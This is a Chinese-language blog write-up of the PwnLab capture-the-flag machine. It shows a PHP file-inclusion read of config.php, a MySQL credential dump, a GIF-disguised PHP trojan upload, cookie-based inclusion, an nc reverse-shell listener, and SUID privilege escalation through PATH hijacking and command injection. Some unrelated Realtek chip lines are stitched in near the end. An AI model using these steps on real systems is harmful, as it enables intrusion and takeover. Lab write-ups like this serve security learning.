banner
300
1 分钟

writeup-pwnlab

2026年3月1日
无标签

tip:

文件包含

信息收集

  1. ip add namp c段

  2. 开放端口 80 111 3306

  3. 浏览器无内容

  4. dirb扫描

  5. nitko -host http://192.168.1.19

  6. 发现/config.php

  7. 考虑url构造为http://192.168.1.19/?page=upload 可能存在文件包含漏洞

  8. 知识点

    文件包含漏洞特征:
    ?page=a.php
    ?home=b.html
    ?file=content
    检测方法:
    ?file=../../../../etc/passwd
    ?page=file:///etc/passwd
    ?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt

    php://filter参数详解:

    SQL
    该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
    
    resource=    必须项。它指定了你要筛选过滤的数据流。
    
    **可用的过滤器列表:**
    
    convert.base64    convert.base64-encode & convert.base64-decode分别等同于base64_encode()和base64_decode(),base64编码解码
    
    下面我们来实验用php://filter来读写文件。

    测试代码:

    plain
    <?php
        $file1 = $_GET['file1'];
        $file2 = $_GET['file2'];
        $txt = $_GET['txt'];// 写入的内容echo file_get_contents($file1);    // 或者是include($file1);
        file_put_contents($file2,$txt);?>

    读取文件

    plain
    test.php?file1=php://filter/resource=/etc/passwd
    
    test.php?file1=php://filter/read=convert.base64-encode/resource=flag.php    // 专用于读取php文件
  9. curl http://192.168.1.19/?page=php://filter/convert.base64-encode/resource=config |base64 -d

  10. 获取到一串码 base64 解码获得 数据库的用户密码信息

  11. 登录查表

    SQL
    mysql -h 192.168.1.19 -u root -p
    show databases;
    use Users;
    show tables;
    use users;
    select * from Users.users;
  12. 获取网页用户密码信息 mysql的information_schema也是很重要的表

getshell

  1. php木马改名gif 上传 使用burp suite 的repeater 文件头加 GIF89A

  2. 无法运行远程木马

  3. 查看index的源码curl http://192.168.1.19/?page=php://filter/convert.base64-encode/resource=config |base64 -d 发现cookie 可以提供lang

  4. 修改cookie 添加路径lang=../xxxxxxxxxxxxx.gif

  5. 监听反弹shell nc -lvp 1234 send repeater后的cookie网页

  6. 获得shell su用户提示需要终端,利用python 启用远程终端

    bash
    python -c 'import pty;pty.spawn("/bin/bash")'

提权

  1. 找suid文件find / -perm -u=s 2>/dev/null

  2. 发现msgmike执行发现调用cat

  3. 修改$PATH export PATH=.:$PATH echo "/bin/bash" >cat chmod +x cat

  4. 重新执行msgmike来调用cat中的bash命令实现提取到mike

  5. ls -l * 发现mike 有msg2root也有suid权限 file

  6. 执行msg2root发现 执行什么就显示什么类似echo 尝试拼接hello;/bin/sh

  7. 获取root的bash

  8. 在root的根目录中找到flag.txt

总结

靶机 => 主机端口探测 => web渗透 => 文件包含 => 得到数据库账号密码 => 在数据库中查到登录账号密码 => 查看源码 => 文件上传木马 => 通过Cookie文件包含 => 反弹shell => 切换账户 => 利用环境变量提权 => 找到flag

Network Interface Controllers > 2.5G Gigabit Ethernet > USB 3.0

RTL8156 / RTL8156B

Network Interface Controllers > 10/100/1000M Gigabit Ethernet > USB 3.0

RTL8153 / RTL8153B

END

相关文章

暂无相关文章

© 2026 一个普通的干饭人. All Rights Reserved. / RSS / Sitemap
Powered by Tanstack Start & Flare Stack Blog